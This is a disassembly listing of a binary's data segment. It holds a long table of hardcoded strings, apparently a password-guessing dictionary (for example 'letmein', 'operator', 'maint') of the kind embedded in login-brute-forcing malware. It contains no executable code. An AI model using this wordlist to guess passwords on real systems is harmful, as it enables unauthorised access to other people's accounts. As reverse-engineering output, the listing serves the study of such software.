aOscar		db 'oscar',0            ; DATA XREF: seg002:00425690o
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: seg002:0042568Co
		align 4
aOrient		db 'orient',0           ; DATA XREF: seg002:00425688o
		align 4
aOrca		db 'orca',0             ; DATA XREF: seg002:00425684o
		align 4
aOperator	db 'operator',0         ; DATA XREF: seg002:00425680o
		align 10h
aOpensesa	db 'opensesa',0         ; DATA XREF: seg002:0042567Co
		align 4
aOpenlock	db 'openlock',0         ; DATA XREF: seg002:00425678o
		align 4
aOpening	db 'opening',0          ; DATA XREF: seg002:00425674o
aOmega		db 'omega',0            ; DATA XREF: seg002:0042566Co
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: seg002:00425668o
		align 10h
aOlivetti	db 'olivetti',0         ; DATA XREF: seg002:00425664o
		align 4
aOldage		db 'oldage',0           ; DATA XREF: seg002:00425660o
		align 4
aOkay		db 'okay',0             ; DATA XREF: seg002:0042565Co
		align 4
aOffice		db 'office',0           ; DATA XREF: seg002:00425658o
		align 4
aOcelot		db 'ocelot',0           ; DATA XREF: seg002:00425654o
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: seg002:00425650o
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: seg002:0042564Co
		align 4
aNyquist	db 'nyquist',0          ; DATA XREF: seg002:00425648o
aNuts		db 'nuts',0             ; DATA XREF: seg002:00425644o
		align 4
aNutritio	db 'nutritio',0         ; DATA XREF: seg002:00425640o
		align 10h
aNumber		db 'number',0           ; DATA XREF: seg002:0042563Co
		align 4
aNull_1		db 'null',0             ; DATA XREF: seg002:00425638o
		align 10h
aNukem		db 'nukem',0            ; DATA XREF: seg002:00425634o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: seg002:00425630o
		align 10h
aNude		db 'nude',0             ; DATA XREF: seg002:0042562Co
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: seg002:00425628o
aNoxious	db 'noxious',0          ; DATA XREF: seg002:00425624o
aNovember	db 'november',0         ; DATA XREF: seg002:00425620o
		align 4
aNovel		db 'novel',0            ; DATA XREF: seg002:0042561Co
		align 4
aNova		db 'nova',0             ; DATA XREF: seg002:00425618o
		align 4
aNoth		db 'noth',0             ; DATA XREF: seg002:00425614o
		align 4
aNotes		db 'notes',0            ; DATA XREF: seg002:00425610o
		align 4
aNoreen		db 'noreen',0           ; DATA XREF: seg002:0042560Co
		align 4
aNode		db 'node',0             ; DATA XREF: seg002:00425608o
		align 4
aNobody		db 'nobody',0           ; DATA XREF: seg002:00425604o
		align 4
aNoble		db 'noble',0            ; DATA XREF: seg002:00425600o
		align 4
aNnaacp		db 'nnaacp',0           ; DATA XREF: seg002:004255FCo
		align 4
aNita		db 'nita',0             ; DATA XREF: seg002:004255F8o
		align 4
aNintendo	db 'nintendo',0         ; DATA XREF: seg002:004255F4o
		align 10h
aNightmar	db 'nightmar',0         ; DATA XREF: seg002:004255F0o
		align 4
aNight		db 'night',0            ; DATA XREF: seg002:004255ECo
		align 4
aNicotine	db 'nicotine',0         ; DATA XREF: seg002:004255E8o
		align 10h
aNicole		db 'nicole',0           ; DATA XREF: seg002:004255E4o
		align 4
aNice		db 'nice',0             ; DATA XREF: seg002:004255E0o
		align 10h
aNext		db 'next',0             ; DATA XREF: seg002:004255DCo
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: seg002:004255D8o
aNewton		db 'newton',0           ; DATA XREF: seg002:004255D4o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: seg002:004255D0o
		align 4
aNews		db 'news',0             ; DATA XREF: seg002:004255CCo
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: seg002:004255C8o
aNetwork_0	db 'network',0          ; DATA XREF: seg002:004255C4o
aNetscape	db 'netscape',0         ; DATA XREF: seg002:004255C0o
		align 4
aNess		db 'ness',0             ; DATA XREF: seg002:004255BCo
		align 10h
aNeptune	db 'neptune',0          ; DATA XREF: seg002:004255B8o
aNepenthe	db 'nepenthe',0         ; DATA XREF: seg002:004255B4o
		align 4
aNavy		db 'navy',0             ; DATA XREF: seg002:004255B0o
		align 4
aNasa		db 'nasa',0             ; DATA XREF: seg002:004255ACo
		align 4
aNapoleon	db 'napoleon',0         ; DATA XREF: seg002:004255A8o
		align 10h
aNancy		db 'nancy',0            ; DATA XREF: seg002:004255A4o
		align 4
aName		db 'name',0             ; DATA XREF: seg002:004255A0o
		align 10h
aNagel		db 'nagel',0            ; DATA XREF: seg002:0042559Co
		align 4
aMutant		db 'mutant',0           ; DATA XREF: seg002:00425598o
		align 10h
aMuppets	db 'muppets',0          ; DATA XREF: seg002:00425594o
aMsdos		db 'msdos',0            ; DATA XREF: seg002:00425590o
		align 10h
aMpeg		db 'mpeg',0             ; DATA XREF: seg002:0042558Co
		align 4
aMozart		db 'mozart',0           ; DATA XREF: seg002:00425588o
		align 10h
aMovies		db 'movies',0           ; DATA XREF: seg002:00425584o
		align 4
aMovie		db 'movie',0            ; DATA XREF: seg002:00425580o
		align 10h
aMove		db 'move',0             ; DATA XREF: seg002:0042557Co
		align 4
aMouse		db 'mouse',0            ; DATA XREF: seg002:00425578o
		align 10h
aMountain	db 'mountain',0         ; DATA XREF: seg002:00425574o
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: seg002:00425570o
		align 4
aMortgage	db 'mortgage',0         ; DATA XREF: seg002:0042556Co
		align 10h
aMortalco	db 'mortalco',0         ; DATA XREF: seg002:00425568o
		align 4
aMortal		db 'mortal',0           ; DATA XREF: seg002:00425564o
		align 4
aMorris		db 'morris',0           ; DATA XREF: seg002:00425560o
		align 4
aMorley		db 'morley',0           ; DATA XREF: seg002:0042555Co
		align 4
aMore		db 'more',0             ; DATA XREF: seg002:00425558o
		align 4
aMoose		db 'moose',0            ; DATA XREF: seg002:00425554o
		align 4
aMoor		db 'moor',0             ; DATA XREF: seg002:00425550o
		align 4
aMoom		db 'moom',0             ; DATA XREF: seg002:0042554Co
		align 4
aMonica		db 'monica',0           ; DATA XREF: seg002:00425548o
		align 4
aMonday		db 'monday',0           ; DATA XREF: seg002:00425544o
		align 4
aMoguls		db 'moguls',0           ; DATA XREF: seg002:00425540o
		align 4
aMogul		db 'mogul',0            ; DATA XREF: seg002:0042553Co
		align 4
aModem		db 'modem',0            ; DATA XREF: seg002:00425538o
		align 4
aMode		db 'mode',0             ; DATA XREF: seg002:00425534o
		align 4
aMkii		db 'mkii',0             ; DATA XREF: seg002:00425530o
		align 4
aMission	db 'mission',0          ; DATA XREF: seg002:0042552Co
aMisfit		db 'misfit',0           ; DATA XREF: seg002:00425528o
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: seg002:00425524o
					; seg002:0041FEF9o
		align 4
aMinimum	db 'minimum',0          ; DATA XREF: seg002:00425520o
aMine		db 'mine',0             ; DATA XREF: seg002:0042551Co
		align 4
aMike		db 'mike',0             ; DATA XREF: seg002:00425518o
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: seg002:00425514o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: seg002:00425510o
		align 4
aMicropro	db 'micropro',0         ; DATA XREF: seg002:0042550Co
		align 10h
aMicrochi	db 'microchi',0         ; DATA XREF: seg002:00425508o
		align 4
aMicro		db 'micro',0            ; DATA XREF: seg002:00425504o
		align 4
aMickey		db 'mickey',0           ; DATA XREF: seg002:00425500o
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: seg002:004254FCo
		align 4
aMichele	db 'michele',0          ; DATA XREF: seg002:004254F8o
aMichelan	db 'michelan',0         ; DATA XREF: seg002:004254F4o
		align 4
aMichel		db 'michel',0           ; DATA XREF: seg002:004254F0o
		align 4
aMichael	db 'michael',0          ; DATA XREF: seg002:004254ECo
aMice		db 'mice',0             ; DATA XREF: seg002:004254E8o
		align 4
aMets		db 'mets',0             ; DATA XREF: seg002:004254E4o
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: seg002:004254E0o
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: seg002:004254DCo
		align 4
aMetal		db 'metal',0            ; DATA XREF: seg002:004254D8o
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: seg002:004254D4o
		align 4
aMercury	db 'mercury',0          ; DATA XREF: seg002:004254D0o
aMenu		db 'menu',0             ; DATA XREF: seg002:004254CCo
		align 4
aMenace		db 'menace',0           ; DATA XREF: seg002:004254C8o
		align 4
aMemory		db 'memory',0           ; DATA XREF: seg002:004254C4o
		align 4
aMember		db 'member',0           ; DATA XREF: seg002:004254C0o
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: seg002:004254BCo
aMellon		db 'mellon',0           ; DATA XREF: seg002:004254B8o
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: seg002:004254B4o
aMegan		db 'megan',0            ; DATA XREF: seg002:004254B0o
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: seg002:004254ACo
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: seg002:004254A8o
		align 4
aMeagan		db 'meagan',0           ; DATA XREF: seg002:004254A4o
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: seg002:004254A0o
aMath		db 'math',0             ; DATA XREF: seg002:0042549Co
		align 4
aMaster		db 'master',0           ; DATA XREF: seg002:00425498o
		align 4
aMason		db 'mason',0            ; DATA XREF: seg002:00425494o
		align 4
aMary		db 'mary',0             ; DATA XREF: seg002:00425490o
		align 4
aMarvin		db 'marvin',0           ; DATA XREF: seg002:0042548Co
		align 4
aMarty		db 'marty',0            ; DATA XREF: seg002:00425488o
		align 4
aMars		db 'mars',0             ; DATA XREF: seg002:00425484o
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: seg002:00425480o
		align 4
aMarni		db 'marni',0            ; DATA XREF: seg002:0042547Co
		align 10h
aMarkus		db 'markus',0           ; DATA XREF: seg002:00425478o
		align 4
aMark		db 'mark',0             ; DATA XREF: seg002:00425474o
		align 10h
aMarines	db 'marines',0          ; DATA XREF: seg002:00425470o
aMarijuan	db 'marijuan',0         ; DATA XREF: seg002:0042546Co
		align 4
aMarietta	db 'marietta',0         ; DATA XREF: seg002:00425468o
		align 10h
aMariens	db 'mariens',0          ; DATA XREF: seg002:00425464o
aMaria		db 'maria',0            ; DATA XREF: seg002:00425460o
		align 10h
aMarcy		db 'marcy',0            ; DATA XREF: seg002:0042545Co
		align 4
aMarci		db 'marci',0            ; DATA XREF: seg002:00425458o
		align 10h
aMara		db 'mara',0             ; DATA XREF: seg002:00425454o
		align 4
aManager	db 'manager',0          ; DATA XREF: seg002:00425450o
aMana		db 'mana',0             ; DATA XREF: seg002:0042544Co
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: seg002:00425448o
		align 10h
aMalcolm	db 'malcolm',0          ; DATA XREF: seg002:00425444o
aMaint		db 'maint',0            ; DATA XREF: seg002:00425440o
		align 10h
aMail		db 'mail',0             ; DATA XREF: seg002:0042543Co
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: seg002:00425438o
		align 10h
aMagic		db 'magic',0            ; DATA XREF: seg002:00425434o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: seg002:00425430o
		align 10h
aMacro		db 'macro',0            ; DATA XREF: seg002:0042542Co
		align 4
aMack		db 'mack',0             ; DATA XREF: seg002:00425428o
		align 10h
aMacintos	db 'macintos',0         ; DATA XREF: seg002:00425424o
		align 4
aMachine	db 'machine',0          ; DATA XREF: seg002:00425420o
aLynne		db 'lynne',0            ; DATA XREF: seg002:0042541Co
		align 4
aLynn		db 'lynn',0             ; DATA XREF: seg002:00425418o
		align 4
aLust		db 'lust',0             ; DATA XREF: seg002:00425414o
		align 4
aLuke		db 'luke',0             ; DATA XREF: seg002:00425410o
		align 4
aLude		db 'lude',0             ; DATA XREF: seg002:0042540Co
		align 4
aLucy		db 'lucy',0             ; DATA XREF: seg002:00425408o
		align 4
aLucus		db 'lucus',0            ; DATA XREF: seg002:00425404o
		align 4
aLuck		db 'luck',0             ; DATA XREF: seg002:00425400o
		align 4
aLover		db 'lover',0            ; DATA XREF: seg002:004253FCo
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: seg002:004253F8o
aLouis		db 'louis',0            ; DATA XREF: seg002:004253F4o
		align 4
aLoser		db 'loser',0            ; DATA XREF: seg002:004253F0o
		align 4
aLorraine	db 'lorraine',0         ; DATA XREF: seg002:004253ECo
		align 10h
aLorin		db 'lorin',0            ; DATA XREF: seg002:004253E8o
		align 4
aLori		db 'lori',0             ; DATA XREF: seg002:004253E4o
		align 10h
aLore		db 'lore',0             ; DATA XREF: seg002:004253E0o
		align 4
aLoose		db 'loose',0            ; DATA XREF: seg002:004253DCo
		align 10h
aLolopc		db 'lolopc',0           ; DATA XREF: seg002:004253D8o
		align 4
aLois		db 'lois',0             ; DATA XREF: seg002:004253D4o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: seg002:004253D0o
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: seg002:004253CCo
		align 4
aLogic		db 'logic',0            ; DATA XREF: seg002:004253C8o
		align 4
aLockword	db 'lockword',0         ; DATA XREF: seg002:004253C4o
		align 4
aLockout	db 'lockout',0          ; DATA XREF: seg002:004253C0o
aLock		db 'lock',0             ; DATA XREF: seg002:004253BCo
		align 4
aLoad		db 'load',0             ; DATA XREF: seg002:004253B8o
		align 10h
aLive		db 'live',0             ; DATA XREF: seg002:004253B4o
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: seg002:004253B0o
		align 4
aLisp		db 'lisp',0             ; DATA XREF: seg002:004253ACo
		align 4
aLisa		db 'lisa',0             ; DATA XREF: seg002:004253A8o
		align 4
aLips		db 'lips',0             ; DATA XREF: seg002:004253A4o
		align 4
aLion		db 'lion',0             ; DATA XREF: seg002:004253A0o
		align 4
aLink		db 'link',0             ; DATA XREF: seg002:0042539Co
		align 4
aLinda		db 'linda',0            ; DATA XREF: seg002:00425398o
		align 4
aLimited	db 'limited',0          ; DATA XREF: seg002:00425394o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: seg002:00425390o
		align 4
aLima		db 'lima',0             ; DATA XREF: seg002:0042538Co
		align 10h
aLightsab	db 'lightsab',0         ; DATA XREF: seg002:00425388o
		align 4
aLight		db 'light',0            ; DATA XREF: seg002:00425384o
		align 4
aLife		db 'life',0             ; DATA XREF: seg002:00425380o
		align 4
aLicker		db 'licker',0           ; DATA XREF: seg002:0042537Co
		align 4
aLick		db 'lick',0             ; DATA XREF: seg002:00425378o
		align 4
aLibrary	db 'library',0          ; DATA XREF: seg002:00425374o
aLiberal	db 'liberal',0          ; DATA XREF: seg002:00425370o
aLexluthe	db 'lexluthe',0         ; DATA XREF: seg002:0042536Co
		align 4
aLewis		db 'lewis',0            ; DATA XREF: seg002:00425368o
		align 10h
aLetmein	db 'letmein',0          ; DATA XREF: seg002:00425364o
aLeslie		db 'leslie',0           ; DATA XREF: seg002:00425360o
		align 10h
aLesbian	db 'lesbian',0          ; DATA XREF: seg002:0042535Co
aLeroy		db 'leroy',0            ; DATA XREF: seg002:00425358o
		align 10h
aLeland		db 'leland',0           ; DATA XREF: seg002:00425354o
		align 4
aLegal		db 'legal',0            ; DATA XREF: seg002:00425350o
		align 10h
aLeftwing	db 'leftwing',0         ; DATA XREF: seg002:0042534Co
		align 4
aLeft		db 'left',0             ; DATA XREF: seg002:00425348o
		align 4
aLebesgue	db 'lebesgue',0         ; DATA XREF: seg002:00425344o
		align 10h
aLeah		db 'leah',0             ; DATA XREF: seg002:00425340o
		align 4
aLazer		db 'lazer',0            ; DATA XREF: seg002:0042533Co
		align 10h
aLazarus	db 'lazarus',0          ; DATA XREF: seg002:00425338o
aLava		db 'lava',0             ; DATA XREF: seg002:00425334o
		align 10h
aLaura		db 'laura',0            ; DATA XREF: seg002:00425330o
		align 4
aLaser		db 'laser',0            ; DATA XREF: seg002:0042532Co
		align 10h
aLarry		db 'larry',0            ; DATA XREF: seg002:00425328o
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: seg002:00425324o
		align 10h
aLara		db 'lara',0             ; DATA XREF: seg002:00425320o
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: seg002:0042531Co
		align 10h
aLana		db 'lana',0             ; DATA XREF: seg002:00425318o
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: seg002:00425314o
		align 4
aLambda		db 'lambda',0           ; DATA XREF: seg002:00425310o
		align 4
aLakers		db 'lakers',0           ; DATA XREF: seg002:0042530Co
		align 4
aLadle		db 'ladle',0            ; DATA XREF: seg002:00425308o
		align 4
aLadies		db 'ladies',0           ; DATA XREF: seg002:00425304o
		align 4
aKristy		db 'kristy',0           ; DATA XREF: seg002:00425300o
		align 4
aKristine	db 'kristine',0         ; DATA XREF: seg002:004252FCo
		align 4
aKristin	db 'kristin',0          ; DATA XREF: seg002:004252F8o
aKristie	db 'kristie',0          ; DATA XREF: seg002:004252F4o
aKristi		db 'kristi',0           ; DATA XREF: seg002:004252F0o
		align 10h
aKristen	db 'kristen',0          ; DATA XREF: seg002:004252ECo
aKrista		db 'krista',0           ; DATA XREF: seg002:004252E8o
		align 10h
aKnown		db 'known',0            ; DATA XREF: seg002:004252E4o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: seg002:004252E0o
		align 4
aKnight		db 'knight',0           ; DATA XREF: seg002:004252DCo
		align 4
aKnife		db 'knife',0            ; DATA XREF: seg002:004252D8o
		align 4
aKlingon	db 'klingon',0          ; DATA XREF: seg002:004252D4o
aKitten		db 'kitten',0           ; DATA XREF: seg002:004252D0o
		align 4
aKissmyas	db 'kissmyas',0         ; DATA XREF: seg002:004252CCo
		align 10h
aKiss		db 'kiss',0             ; DATA XREF: seg002:004252C8o
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: seg002:004252C4o
		align 4
aKirk		db 'kirk',0             ; DATA XREF: seg002:004252C0o
		align 4
aKing		db 'king',0             ; DATA XREF: seg002:004252BCo
		align 4
aKimberly	db 'kimberly',0         ; DATA XREF: seg002:004252B8o
		align 10h
aKilo		db 'kilo',0             ; DATA XREF: seg002:004252B4o
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: seg002:004252B0o
		align 4
aKill		db 'kill',0             ; DATA XREF: seg002:004252ACo
		align 4
aKids		db 'kids',0             ; DATA XREF: seg002:004252A8o
		align 4
aKeyword	db 'keyword',0          ; DATA XREF: seg002:004252A4o
aKeyin		db 'keyin',0            ; DATA XREF: seg002:004252A0o
		align 4
aKeybord	db 'keybord',0          ; DATA XREF: seg002:0042529Co
aKewl		db 'kewl',0             ; DATA XREF: seg002:00425298o
		align 4
aKevin		db 'kevin',0            ; DATA XREF: seg002:00425294o
		align 4
aKerry		db 'kerry',0            ; DATA XREF: seg002:00425290o
		align 4
aKerrie		db 'kerrie',0           ; DATA XREF: seg002:0042528Co
		align 4
aKerri		db 'kerri',0            ; DATA XREF: seg002:00425288o
		align 4
aKernel		db 'kernel',0           ; DATA XREF: seg002:00425284o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: seg002:00425280o
		align 4
aKeri		db 'keri',0             ; DATA XREF: seg002:0042527Co
		align 4
aKelly		db 'kelly',0            ; DATA XREF: seg002:00425278o
		align 4
aKatrina	db 'katrina',0          ; DATA XREF: seg002:00425274o
aKatina		db 'katina',0           ; DATA XREF: seg002:00425270o
		align 4
aKathy		db 'kathy',0            ; DATA XREF: seg002:0042526Co
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: seg002:00425268o
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: seg002:00425264o
		align 4
aKate		db 'kate',0             ; DATA XREF: seg002:00425260o
		align 4
aKatana		db 'katana',0           ; DATA XREF: seg002:0042525Co
		align 4
aKarina		db 'karina',0           ; DATA XREF: seg002:00425258o
		align 4
aKarie		db 'karie',0            ; DATA XREF: seg002:00425254o
		align 4
aKaren		db 'karen',0            ; DATA XREF: seg002:00425250o
		align 4
aKaka		db 'kaka',0             ; DATA XREF: seg002:0042524Co
		align 4
aJupiter	db 'jupiter',0          ; DATA XREF: seg002:00425248o
aJune		db 'june',0             ; DATA XREF: seg002:00425244o
		align 4
aJuliet		db 'juliet',0           ; DATA XREF: seg002:00425240o
		align 4
aJulie		db 'julie',0            ; DATA XREF: seg002:0042523Co
		align 4
aJulia		db 'julia',0            ; DATA XREF: seg002:00425238o
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: seg002:00425234o
		align 4
aJuggle		db 'juggle',0           ; DATA XREF: seg002:00425230o
		align 4
aJudy		db 'judy',0             ; DATA XREF: seg002:0042522Co
		align 4
aJudith		db 'judith',0           ; DATA XREF: seg002:00425228o
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: seg002:00425224o
		align 4
aJournal	db 'journal',0          ; DATA XREF: seg002:00425220o
aJoshua		db 'joshua',0           ; DATA XREF: seg002:0042521Co
		align 4
aJoseph		db 'joseph',0           ; DATA XREF: seg002:00425218o
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: seg002:00425214o
		align 4
aJohndoe	db 'johndoe',0          ; DATA XREF: seg002:00425210o
aJohn		db 'john',0             ; DATA XREF: seg002:0042520Co
		align 4
aJody		db 'jody',0             ; DATA XREF: seg002:00425208o
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: seg002:00425204o
		align 4
aJixian		db 'jixian',0           ; DATA XREF: seg002:00425200o
		align 4
aJill		db 'jill',0             ; DATA XREF: seg002:004251FCo
		align 4
aJewelry	db 'jewelry',0          ; DATA XREF: seg002:004251F8o
aJester		db 'jester',0           ; DATA XREF: seg002:004251F4o
		align 4
aJessica	db 'jessica',0          ; DATA XREF: seg002:004251F0o
aJerusale	db 'jerusale',0         ; DATA XREF: seg002:004251ECo
		align 4
aJerry		db 'jerry',0            ; DATA XREF: seg002:004251E8o
		align 10h
aJenny		db 'jenny',0            ; DATA XREF: seg002:004251E4o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: seg002:004251E0o
		align 4
aJenni		db 'jenni',0            ; DATA XREF: seg002:004251DCo
		align 4
aJeff		db 'jeff',0             ; DATA XREF: seg002:004251D8o
		align 4
aJeanne		db 'jeanne',0           ; DATA XREF: seg002:004251D4o
		align 4
aJean		db 'jean',0             ; DATA XREF: seg002:004251D0o
		align 4
aJazz		db 'jazz',0             ; DATA XREF: seg002:004251CCo
		align 4
aJava		db 'java',0             ; DATA XREF: seg002:004251C8o
		align 4
aJasmin		db 'jasmin',0           ; DATA XREF: seg002:004251C4o
		align 4
aJapan		db 'japan',0            ; DATA XREF: seg002:004251C0o
		align 4
aJanie		db 'janie',0            ; DATA XREF: seg002:004251BCo
		align 4
aJanice		db 'janice',0           ; DATA XREF: seg002:004251B8o
		align 4
aJanet		db 'janet',0            ; DATA XREF: seg002:004251B4o
		align 4
aJane		db 'jane',0             ; DATA XREF: seg002:004251B0o
		align 4
aJail		db 'jail',0             ; DATA XREF: seg002:004251ACo
		align 4
aJackie		db 'jackie',0           ; DATA XREF: seg002:004251A8o
		align 4
aIsis		db 'isis',0             ; DATA XREF: seg002:004251A4o
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: seg002:004251A0o
		align 4
aIrene		db 'irene',0            ; DATA XREF: seg002:0042519Co
		align 10h
aInvent		db 'invent',0           ; DATA XREF: seg002:00425198o
		align 4
aInteger	db 'integer',0          ; DATA XREF: seg002:00425194o
aInside		db 'inside',0           ; DATA XREF: seg002:00425190o
		align 4
aInput		db 'input',0            ; DATA XREF: seg002:0042518Co
		align 10h
aInnocuou	db 'innocuou',0         ; DATA XREF: seg002:00425188o
		align 4
aInna		db 'inna',0             ; DATA XREF: seg002:00425184o
		align 4
aIngrid		db 'ingrid',0           ; DATA XREF: seg002:00425180o
		align 4
aIngress	db 'ingress',0          ; DATA XREF: seg002:0042517Co
aIngres		db 'ingres',0           ; DATA XREF: seg002:00425178o
		align 4
aIndians	db 'indians',0          ; DATA XREF: seg002:00425174o
aIndiana	db 'indiana',0          ; DATA XREF: seg002:00425170o
aIndian		db 'indian',0           ; DATA XREF: seg002:0042516Co
		align 4
aIndia		db 'india',0            ; DATA XREF: seg002:00425168o
		align 4
aInclude	db 'include',0          ; DATA XREF: seg002:00425164o
aImperial	db 'imperial',0         ; DATA XREF: seg002:00425160o
		align 10h
aImmortal	db 'immortal',0         ; DATA XREF: seg002:0042515Co
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: seg002:00425158o
		align 4
aImage		db 'image',0            ; DATA XREF: seg002:00425154o
		align 10h
aIllumina	db 'illumina',0         ; DATA XREF: seg002:00425150o
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: seg002:0042514Co
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: seg002:00425148o
		align 4
aHyper		db 'hyper',0            ; DATA XREF: seg002:00425144o
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: seg002:00425140o
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: seg002:0042513Co
		align 4
aHunter		db 'hunter',0           ; DATA XREF: seg002:00425138o
		align 4
aHunt		db 'hunt',0             ; DATA XREF: seg002:00425134o
		align 4
aHttp		db 'http',0             ; DATA XREF: seg002:00425130o
		align 4
aHotel		db 'hotel',0            ; DATA XREF: seg002:0042512Co
		align 4
aHotdog		db 'hotdog',0           ; DATA XREF: seg002:00425128o
		align 4
aHost		db 'host',0             ; DATA XREF: seg002:00425124o
		align 4
aHorus		db 'horus',0            ; DATA XREF: seg002:00425120o
		align 4
aHorse		db 'horse',0            ; DATA XREF: seg002:0042511Co
		align 4
aHorror		db 'horror',0           ; DATA XREF: seg002:00425118o
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: seg002:00425114o
		align 4
aHorny		db 'horny',0            ; DATA XREF: seg002:00425110o
		align 10h
aHooters	db 'hooters',0          ; DATA XREF: seg002:0042510Co
aHooker		db 'hooker',0           ; DATA XREF: seg002:00425108o
		align 10h
aHoney		db 'honey',0            ; DATA XREF: seg002:00425104o
		align 4
aHomework	db 'homework',0         ; DATA XREF: seg002:00425100o
		align 4
aHomer		db 'homer',0            ; DATA XREF: seg002:004250FCo
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: seg002:004250F8o
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: seg002:004250F4o
		align 4
aHolly		db 'holly',0            ; DATA XREF: seg002:004250F0o
		align 4
aHole		db 'hole',0             ; DATA XREF: seg002:004250ECo
		align 4
aHits		db 'hits',0             ; DATA XREF: seg002:004250E8o
		align 4
aHitler		db 'hitler',0           ; DATA XREF: seg002:004250E4o
		align 4
aHighland	db 'highland',0         ; DATA XREF: seg002:004250E0o
		align 10h
aHigh		db 'high',0             ; DATA XREF: seg002:004250DCo
		align 4
aHidden		db 'hidden',0           ; DATA XREF: seg002:004250D8o
		align 10h
aHibernia	db 'hibernia',0         ; DATA XREF: seg002:004250D4o
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: seg002:004250D0o
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: seg002:004250CCo
		align 4
aHewlett	db 'hewlett',0          ; DATA XREF: seg002:004250C8o
aHeroin		db 'heroin',0           ; DATA XREF: seg002:004250C4o
		align 4
aHero		db 'hero',0             ; DATA XREF: seg002:004250C0o
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: seg002:004250BCo
aHerb		db 'herb',0             ; DATA XREF: seg002:004250B8o
		align 4
aHelp		db 'help',0             ; DATA XREF: seg002:004250B4o
		align 4
aHello		db 'hello',0            ; DATA XREF: seg002:004250B0o
		align 4
aHell		db 'hell',0             ; DATA XREF: seg002:004250ACo
		align 4
aHeinlein	db 'heinlein',0         ; DATA XREF: seg002:004250A8o
		align 10h
aHeidi		db 'heidi',0            ; DATA XREF: seg002:004250A4o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: seg002:004250A0o
		align 4
aHeather	db 'heather',0          ; DATA XREF: seg002:0042509Co
aHeathen	db 'heathen',0          ; DATA XREF: seg002:00425098o
aHeat		db 'heat',0             ; DATA XREF: seg002:00425094o
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: seg002:00425090o
		align 4
aHead		db 'head',0             ; DATA XREF: seg002:0042508Co
		align 10h
aHawaii		db 'hawaii',0           ; DATA XREF: seg002:00425088o
		align 4
aHaven		db 'haven',0            ; DATA XREF: seg002:00425084o
		align 10h
aHate		db 'hate',0             ; DATA XREF: seg002:00425080o
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: seg002:0042507Co
		align 10h
aHarold		db 'harold',0           ; DATA XREF: seg002:00425078o
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: seg002:00425074o
aHarddriv	db 'harddriv',0         ; DATA XREF: seg002:00425070o
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: seg002:0042506Co
		align 4
aHard		db 'hard',0             ; DATA XREF: seg002:00425068o
		align 10h
aHappenin	db 'happenin',0         ; DATA XREF: seg002:00425064o
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: seg002:00425060o
aHandily	db 'handily',0          ; DATA XREF: seg002:0042505Co
aHandel		db 'handel',0           ; DATA XREF: seg002:00425058o
		align 4
aHamster	db 'hamster',0          ; DATA XREF: seg002:00425054o
aHamlet		db 'hamlet',0           ; DATA XREF: seg002:00425050o
		align 4
aHallowee	db 'hallowee',0         ; DATA XREF: seg002:0042504Co
		align 10h
aHair		db 'hair',0             ; DATA XREF: seg002:00425048o
		align 4
aHagar		db 'hagar',0            ; DATA XREF: seg002:00425044o
		align 10h
aHacked		db 'hacked',0           ; DATA XREF: seg002:00425040o
		align 4
aHack		db 'hack',0             ; DATA XREF: seg002:0042503Co
		align 10h
aGuntis		db 'guntis',0           ; DATA XREF: seg002:00425038o
		align 4
